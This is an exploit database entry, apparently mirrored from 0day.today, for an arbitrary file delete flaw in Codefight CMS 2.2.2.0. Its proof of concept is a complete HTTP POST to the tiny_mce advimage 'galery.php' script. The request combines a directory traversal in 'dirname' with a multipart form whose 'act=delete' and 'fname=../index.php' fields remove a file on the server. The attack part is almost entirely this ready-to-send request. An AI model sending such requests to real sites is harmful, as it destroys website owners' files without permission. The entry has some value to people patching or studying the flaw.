Lucene search
K

Codefight CMS (tiny_mce) Arbitrary File Delete Vulnerability

🗓️ 13 Mar 2013 00:00:00Reported by DaOneType 
zdt
 zdt
🔗 0day.today👁 32 Views

Codefight CMS tiny_mce Arbitrary File Delete Vulnerabilit

Code
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0                  I'm DaOne member from Inj3ct0r Team                 1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##########################################
# Exploit Title: Codefight CMS (tiny_mce) Arbitrary File Delete Vulnerability
# Date: 2013-03-12
# Author: DaOne aka Mocking Bird
# Home: 1337day Inj3ct0r Exploit Database
# Software Link: http://codefight.org/
# Category: webapps/php
# Version: 2.2.2.0 + old versions
##########################################

# PoC
Example to delete index.php

POST /codefight-2.2.2.0/skin/admin/default/js/tiny_mce/plugins/advimage/galery.php?dirname=../../../../../../../media/ HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/codefight-2.2.2.0/skin/admin/default/js/tiny_mce/plugins/advimage/galery.php?
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------30060290783402
Content-Length: 402

-----------------------------30060290783402\r\n
Content-Disposition: form-data; name="upload"; filename=""\r\n
Content-Type: application/octet-stream\r\n
\r\n
\r\n
-----------------------------30060290783402\r\n
Content-Disposition: form-data; name="act"\r\n
\r\n
delete\r\n
-----------------------------30060290783402\r\n
Content-Disposition: form-data; name="fname"\r\n
\r\n
../index.php\r\n
-----------------------------30060290783402--\r\n

-end-

#  0day.today [2018-03-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation